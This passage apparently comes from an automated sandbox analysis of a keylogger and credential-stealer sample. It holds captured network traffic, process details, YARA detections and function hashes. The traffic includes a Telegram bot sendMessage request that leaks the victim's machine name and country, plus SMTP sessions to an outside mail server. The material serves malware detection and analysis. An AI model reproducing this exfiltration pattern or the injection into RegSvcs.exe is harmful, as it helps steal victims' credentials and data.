2024-10-09 12:45:29 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841618%0D%0ADate%20and%20Time:%2009/10/2024%20/%2023:08:13%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841618%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-09 12:45:29 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 09 Oct 2024 12:45:29 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-09 12:45:29 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 9, 2024 14:45:36.786866903 CEST	587	49736	46.151.208.21	192.168.2.12	220 host.ibtikarat.net ESMTP Exim 4.95 Wed, 09 Oct 2024 15:45:37 +0300
Oct 9, 2024 14:45:36.787121058 CEST	49736	587	192.168.2.12	46.151.208.21	EHLO 841618
Oct 9, 2024 14:45:37.050111055 CEST	587	49736	46.151.208.21	192.168.2.12	250-host.ibtikarat.net Hello 841618 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 9, 2024 14:45:37.050338984 CEST	49736	587	192.168.2.12	46.151.208.21	STARTTLS
Oct 9, 2024 14:45:37.352309942 CEST	587	49736	46.151.208.21	192.168.2.12	220 TLS go ahead
Oct 9, 2024 14:45:43.868622065 CEST	587	49737	46.151.208.21	192.168.2.12	220 host.ibtikarat.net ESMTP Exim 4.95 Wed, 09 Oct 2024 15:45:44 +0300
Oct 9, 2024 14:45:43.868843079 CEST	49737	587	192.168.2.12	46.151.208.21	EHLO 841618
Oct 9, 2024 14:45:44.140444994 CEST	587	49737	46.151.208.21	192.168.2.12	250-host.ibtikarat.net Hello 841618 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 9, 2024 14:45:44.140820980 CEST	49737	587	192.168.2.12	46.151.208.21	STARTTLS
Oct 9, 2024 14:45:44.415576935 CEST	587	49737	46.151.208.21	192.168.2.12	220 TLS go ahead

Target ID:	0
Start time:	08:45:07
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\7DI4iYwcvw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7DI4iYwcvw.exe"
Imagebase:	0x400000
File size:	1'257'083 bytes
MD5 hash:	E142F0BF6C0D9BE52F8C7F52007C64D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:45:13
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7DI4iYwcvw.exe"
Imagebase:	0x470000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.4794997601.00000000028E7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.4794997601.00000000027E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.4793959716.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	60%
Total number of Nodes:	55
Total number of Limit Nodes:	9

Executed Functions

Function 061B5028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 061B8408

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: be8df61d1601c7ad29a625f0832d783c1ce9dba8079048430c21b5fd1118a412
Instruction ID: 86bb489251525c0e3ad454deb7b882ab6eef12b724b836d5de422a29d3da3d1d
Opcode Fuzzy Hash: be8df61d1601c7ad29a625f0832d783c1ce9dba8079048430c21b5fd1118a412
Instruction Fuzzy Hash: B073F431D10B5A8EDB11EF68C844AD9F7B1FF99300F51D69AE44867261EB70AAC4CF81

Function 061B9C70 Relevance: 3.5, Strings: 1, Instructions: 2230COMMON

Download Yara Rule

Strings

K, xrefs: 061BC2EB

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 745a2c45cb3abc32944efd22f3128f75db1646f9303be9ac87d86048ffd47f1a
Instruction ID: 44a4563d5a1842710f070f47c71902d33dbe40bb4971011926c75b60f9270305
Opcode Fuzzy Hash: 745a2c45cb3abc32944efd22f3128f75db1646f9303be9ac87d86048ffd47f1a
Instruction Fuzzy Hash: 9D33E130C146198ADB61EF68C884ADDF7B1FF99300F50D69AE45C67261EB70AAC5CF81

Function 061B9548 Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc528d51304031b3b082c89d789c67caa4159c3b4fe16e8e2ade549faf114305
Instruction ID: 501c1280cf20b13d33f4ba3d3d791fdc5dbcc536ec5d524215837040ceb230d3
Opcode Fuzzy Hash: fc528d51304031b3b082c89d789c67caa4159c3b4fe16e8e2ade549faf114305
Instruction Fuzzy Hash: 82F1F474E00218CFDB54DFA9C884B9DFBB2BF89304F5485A9E848AB355DB349986CF50

Function 061B9BFA Relevance: 1.5, Strings: 1, Instructions: 280COMMON

Download Yara Rule

Strings

K, xrefs: 061BC2EB

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 57605626815ee02f5d5b6fe76af7f7a29c4abb9745380897b83f3fd782e745c6
Instruction ID: a6ca8e685f77eccaa861680733f2b1bbfac573b9f167d22765213247b9a680a0
Opcode Fuzzy Hash: 57605626815ee02f5d5b6fe76af7f7a29c4abb9745380897b83f3fd782e745c6
Instruction Fuzzy Hash: 73C13670D046188FDB55DF69C8847DDBBF1EF89300F14D6AAE048AB261EB74AA85CF50

Function 00FDA088 Relevance: .9, Instructions: 907COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e8423dff494798824a3aef6b04479a3c0ae19ce521be775200432fa30fd229
Instruction ID: cf6fe6eecc85958f30c5057e49bbdd74df61fbf0a28375ad652d223babe79f7d
Opcode Fuzzy Hash: d9e8423dff494798824a3aef6b04479a3c0ae19ce521be775200432fa30fd229
Instruction Fuzzy Hash: 28827D31A00209DFCB15CFA8C984AAEBBF2FF88310F19865AE4059B361D735ED51DB56

Function 061B0B30 Relevance: .7, Instructions: 709
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d406cb2efabddff54f1614c8ec5e270b0946c76e19eb5064713635c9e8dea07c
Instruction ID: 94d555a12e32fa131607745d61a0c0fffea26427b3853e2a5362b5015c8d8f97
Opcode Fuzzy Hash: d406cb2efabddff54f1614c8ec5e270b0946c76e19eb5064713635c9e8dea07c
Instruction Fuzzy Hash: A872CE74E012288FEB64DF69C890BEDBBB2BB49304F1495E9D409A7355EB349E81CF50

Function 00FD69A0 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7ce4574a05eb77e9e35ffb092c1840385a77e81eafaea26e80d0754d154f67
Instruction ID: a5fb94039b729b2d777b6653243a1312f287259291a5688d34201c59057984a2
Opcode Fuzzy Hash: 7d7ce4574a05eb77e9e35ffb092c1840385a77e81eafaea26e80d0754d154f67
Instruction Fuzzy Hash: 97129070A002199FDB14DF69C854BAEBBF3BF88710F24856AE405EB395EB349D41DB90

Function 00FD6FC8 Relevance: .4, Instructions: 449
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7274194d24389c09d38cddbf3c2fd4d5d8050143ac56879d8b36958b276cf03b
Instruction ID: 441f1b5e11d8125009da0c7e4f7a29759d55816875e12c3fda5d718390a30f8b
Opcode Fuzzy Hash: 7274194d24389c09d38cddbf3c2fd4d5d8050143ac56879d8b36958b276cf03b
Instruction Fuzzy Hash: 1B024F31A04215DFCB15EF68D844AAEBBF3BF49310F19846AE805AB361E734ED41EB51

Function 061BDE00 Relevance: .3, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d24643fe23c919ef422208be4fdfbceda9fa4539b327be6c37cef451399449
Instruction ID: 6faf421b343387fc30feb32f569a9983e6d12b627efe37a67f30befba8ac50bc
Opcode Fuzzy Hash: 57d24643fe23c919ef422208be4fdfbceda9fa4539b327be6c37cef451399449
Instruction Fuzzy Hash: 4FC1BD78E00218CFEB54DFA5D994BDDBBB2AF89300F2490A9D409AB355DB359E81CF50

Function 061B2968 Relevance: .3, Instructions: 268
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 710b2519f7350b789b289082031a648c98cb30b5d293af2b98717ed4b8b49644
Instruction ID: 04282a3dd4a9c75c4096580228587bdd320f97bfdb2947537bb8fdbbc6610146
Opcode Fuzzy Hash: 710b2519f7350b789b289082031a648c98cb30b5d293af2b98717ed4b8b49644
Instruction Fuzzy Hash: C9C1BE78E00218CFEB54DFA5D944BADBBB2FF89300F1480A9D809AB355DB355A85CF10

Function 00FDC147 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 528e4e09215310e52e192d1d870fcff58e68883d40041b719a7a1c121bb44133
Instruction ID: f87982ff0b9e5fb9a5035c5048e1b87dddec11351bc02bdfdb6430611c6853ca
Opcode Fuzzy Hash: 528e4e09215310e52e192d1d870fcff58e68883d40041b719a7a1c121bb44133
Instruction Fuzzy Hash: 84A1F875E00219DFDB14DFA9D884A9DBBF2BF89310F14806AE409EB365DB349941DF50

Function 061B1E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bebdf3100e5eacb68f8acf689f7f64719321e7c3a94414fd57f45d338c97b0b9
Instruction ID: 41f110a488318fef0e55ef9474f573483fb1fe85c6dadd6de8911d673d1bd80c
Opcode Fuzzy Hash: bebdf3100e5eacb68f8acf689f7f64719321e7c3a94414fd57f45d338c97b0b9
Instruction Fuzzy Hash: 97A19075E01219CFEB68CF6AC954BDEBAF2AB88300F14D0AAD408A7254DB345A85CF51

Function 061B2DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9593f99914041a71eb04838b90b4b2512044cf753f73839cd31c11d2861fe3ed
Instruction ID: dcaaba92f0559b9acdbb4d31abab93e5c1547d818427fc7feff9c41d0071460b
Opcode Fuzzy Hash: 9593f99914041a71eb04838b90b4b2512044cf753f73839cd31c11d2861fe3ed
Instruction Fuzzy Hash: 75A11470D00208CFEB14DFA9C944BDDBBB1FF88314F249269E418A72A1DB759A85CF55

Function 061B17A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dc92d5f1a8cdfd50450494387b53a31224d2435966ed926614d85da58ed552e
Instruction ID: cbb8c0c0f1cb9535d70a48bb5a8983068fa4a2c9ce8abc00e4ab69f5af484488
Opcode Fuzzy Hash: 1dc92d5f1a8cdfd50450494387b53a31224d2435966ed926614d85da58ed552e
Instruction Fuzzy Hash: 9AA1A075E01229CFEB68CF6AC954BDDBBF2AF88300F14D1A9D408A7254DB345A85CF50

Function 061B2DC2 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945dda1aac0cbf88c38792bcbacb220f4c6801d7211b6deffca0dde493efac44
Instruction ID: 33050a3b4bc8db9cfe6922e5db9eda753b171cd5a4710ef84925a672998b7f9d
Opcode Fuzzy Hash: 945dda1aac0cbf88c38792bcbacb220f4c6801d7211b6deffca0dde493efac44
Instruction Fuzzy Hash: B2A10470D00208CFEB14DFA9C944BDDBBB1FF89304F249269E409A7291DB759A85CF54

Function 061B310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d81117ac76e71ef6658caecd4134b6333d74d36f4b328ae0b043d0ec4eb84c0
Instruction ID: 680f81786164ca5315d5446d98ad16f793c226ca5dbdbf6710cb082d18b4f598
Opcode Fuzzy Hash: 5d81117ac76e71ef6658caecd4134b6333d74d36f4b328ae0b043d0ec4eb84c0
Instruction Fuzzy Hash: A3911370D00208CFEB54DFA8C984BDDBBB1FF49314F2492A9E419AB291DB759A85CF10

Function 061BFC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d0023d80bf4607a4f1bbc04d651252ea628ac0ee6e9764aa246a7954cba2d5b
Instruction ID: 9d58de2d199a600f9e208c8b259445aedd20c3752c424b7f3e409c7ba9478f53
Opcode Fuzzy Hash: 0d0023d80bf4607a4f1bbc04d651252ea628ac0ee6e9764aa246a7954cba2d5b
Instruction Fuzzy Hash: 4281DF74E01218CFEB54EFA9D890AEDBBB2FF89300F248129D815AB358DB355942CF50

Function 00FDC468 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f57c9ae94589882f2b667e66d783948db456454e7b3f3ce72a85f2084814cf
Instruction ID: 38364f4c12df89242dba5e95f3246d17da7aed308722f0164d303b6ec00d4f79
Opcode Fuzzy Hash: 13f57c9ae94589882f2b667e66d783948db456454e7b3f3ce72a85f2084814cf
Instruction Fuzzy Hash: CC81D374E00219CFDB14DFAAD984B9DBBF2BF88310F18906AE409AB365DB349941DF50

Function 00FD5370 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd05b1a7c6640106006596793a1ef2db03900755ed15282686b1889d015d6c21
Instruction ID: ea50e597238f33aac911d3d661d831d36deb1a49f03fc565e20a0eae856d1a5f
Opcode Fuzzy Hash: cd05b1a7c6640106006596793a1ef2db03900755ed15282686b1889d015d6c21
Instruction Fuzzy Hash: 9681D574E00618CFDB14DFAAD944B9DBBF2BF88314F18806AE409AB365DB349941DF50

Function 00FDD278 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18ee54d96e852ce449ca9eafffdaf1a52d3551a4ba119142311178c0dcc65a7
Instruction ID: d164ed323d31bf78fb395b7e5e32931940ff10321de0acf5b6e4af0d35cd0b51
Opcode Fuzzy Hash: b18ee54d96e852ce449ca9eafffdaf1a52d3551a4ba119142311178c0dcc65a7
Instruction Fuzzy Hash: A081B374E00218CFDB14DFAAD984B9DBBF2BF89310F24806AE409AB365DB349945DF50

Function 00FDCA08 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea3c40e19d6a1bbdcb4b082e3373133d4992ef3d93a1237e22136183e8dd426f
Instruction ID: 7e30ccf20ef9cc4861569f686209ddc8cedda81ef96d23f202ad1f80eb81a43e
Opcode Fuzzy Hash: ea3c40e19d6a1bbdcb4b082e3373133d4992ef3d93a1237e22136183e8dd426f
Instruction Fuzzy Hash: AD81A274E00219CFDB14DFAAD894B9DBBF2BF88310F24806AE419AB365DB749941DF50

Function 00FDCFA9 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f20e55ad3759be377c7775bc3f2d2149b3bfe189542c6d3453151a1eb38735ca
Instruction ID: aec1391f2049d6d49c95cd443931c53fbe798fd6a17f892caf7d9d3bba0b920e
Opcode Fuzzy Hash: f20e55ad3759be377c7775bc3f2d2149b3bfe189542c6d3453151a1eb38735ca
Instruction Fuzzy Hash: 03819274E00218CFEB14DFAAD984A9DBBF2FF88314F14806AE409AB365DB349945DF50

Function 00FDCCD8 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74fd19b0c3ad6bc899e68e3c07b8bab195db900fbcab441a464fa7d779cf64cb
Instruction ID: a6e229f4158473f1b7bccc22003ea4905303bf783613b742d4cbfea211cb6d7b
Opcode Fuzzy Hash: 74fd19b0c3ad6bc899e68e3c07b8bab195db900fbcab441a464fa7d779cf64cb
Instruction Fuzzy Hash: 2981C274E00219DFDB14DFAAD884B9DBBF2BF88300F24806AE419AB365DB349941DF50

Function 00FDC738 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71570ba796630658510d61e2c043d96727040bc8a069c52d6bf5a94d35d8c53c
Instruction ID: 39b678d42f4d8736c169898755b0d35bc9bd892ca845214b47ba7547528ff2c4
Opcode Fuzzy Hash: 71570ba796630658510d61e2c043d96727040bc8a069c52d6bf5a94d35d8c53c
Instruction Fuzzy Hash: 0781B274E00219CFEB14DFAAD994B9DBBF2BF88310F14806AE409AB365DB349941DF50

Function 061B0B20 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f202af5aece19c3879fcc69c6011a68e46420191dd1fa72cfa725291f8ae079
Instruction ID: ba045de0938a9f23d161609322bd2ce854791b81b0648b4ab2168d00628070ec
Opcode Fuzzy Hash: 8f202af5aece19c3879fcc69c6011a68e46420191dd1fa72cfa725291f8ae079
Instruction Fuzzy Hash: 5A71E275D01228CFDB68DF6AD9807DDBBF2AF89301F1090AAD409A7364DB345A82CF50

Function 061B178F Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe487f47d244b6c951b4f1718045b501ac331a2a21ed919681d38816622c5be
Instruction ID: ae619d6f734906c24550bbcc82a5bfe63f106be361799e77f67d70c07797693b
Opcode Fuzzy Hash: fbe487f47d244b6c951b4f1718045b501ac331a2a21ed919681d38816622c5be
Instruction Fuzzy Hash: 75719275E016288FEB68CF6AC954BDEBBF2BF88300F14C1A9D408A7254DB745A85CF10

Function 00FDE97B Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc84d9cfcd42910b5ff064865b6ace900fbba9ed0822fb5cafe057d3f27ece59
Instruction ID: e7efc7cfbd6ec1d2275a15d6edb68341876f9b8d008e630fb774539a35eaaf7b
Opcode Fuzzy Hash: cc84d9cfcd42910b5ff064865b6ace900fbba9ed0822fb5cafe057d3f27ece59
Instruction Fuzzy Hash: 7151B774E00209DFDB18DFA6D894A9DBBB2FF89310F24D02AE815AB365DB345841DF54

Function 00FDE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4794825464.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fd0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f9be0dbbdc128b6dc956a8f293ffac154b8f6151efdc1b3afa4e6b09942109
Instruction ID: 6ee6183cc57c5252514ee9b61d5a0092862bb94e5102f830558d70adc1e67d65
Opcode Fuzzy Hash: 13f9be0dbbdc128b6dc956a8f293ffac154b8f6151efdc1b3afa4e6b09942109
Instruction Fuzzy Hash: E551B774E00209DFDB18DFAAD494A9DBBF2BF89300F24902AE819AB365DB345841DF14

Function 061B1E70 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c96824f5d3d94b278640d341eaece712cdf4f876494ef7dd12deabc6b935bfa5
Instruction ID: 112f3e29e0738cc5479f4ef0836b4f5be89b4e2140b133d86f659bea469edac2
Opcode Fuzzy Hash: c96824f5d3d94b278640d341eaece712cdf4f876494ef7dd12deabc6b935bfa5
Instruction Fuzzy Hash: 81416771E016589BEB58CF6BD9547DEFAF3AFC9200F14C1AAC40CA6254EB740A85CF51

Function 061B295A Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_61b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0caccb789b2d9badf214842ad2f325dfd14d37918675a6e5fe85750039f50047
Instruction ID: c631f40c621150d88a2fceca350b8cfaafdc2907991749910a5d64c6bbbf7ec4
Opcode Fuzzy Hash: 0caccb789b2d9badf214842ad2f325dfd14d37918675a6e5fe85750039f50047
Instruction Fuzzy Hash: CF41E470D01248CBEB58CFAAD5446EDBBF2FF89300F24D52AD419AB258DB345A45CF54

Function 061BDDFF Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4798333836.00000000061B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061B0000, based on PE: false

Joe Sandbox IDA Plugin

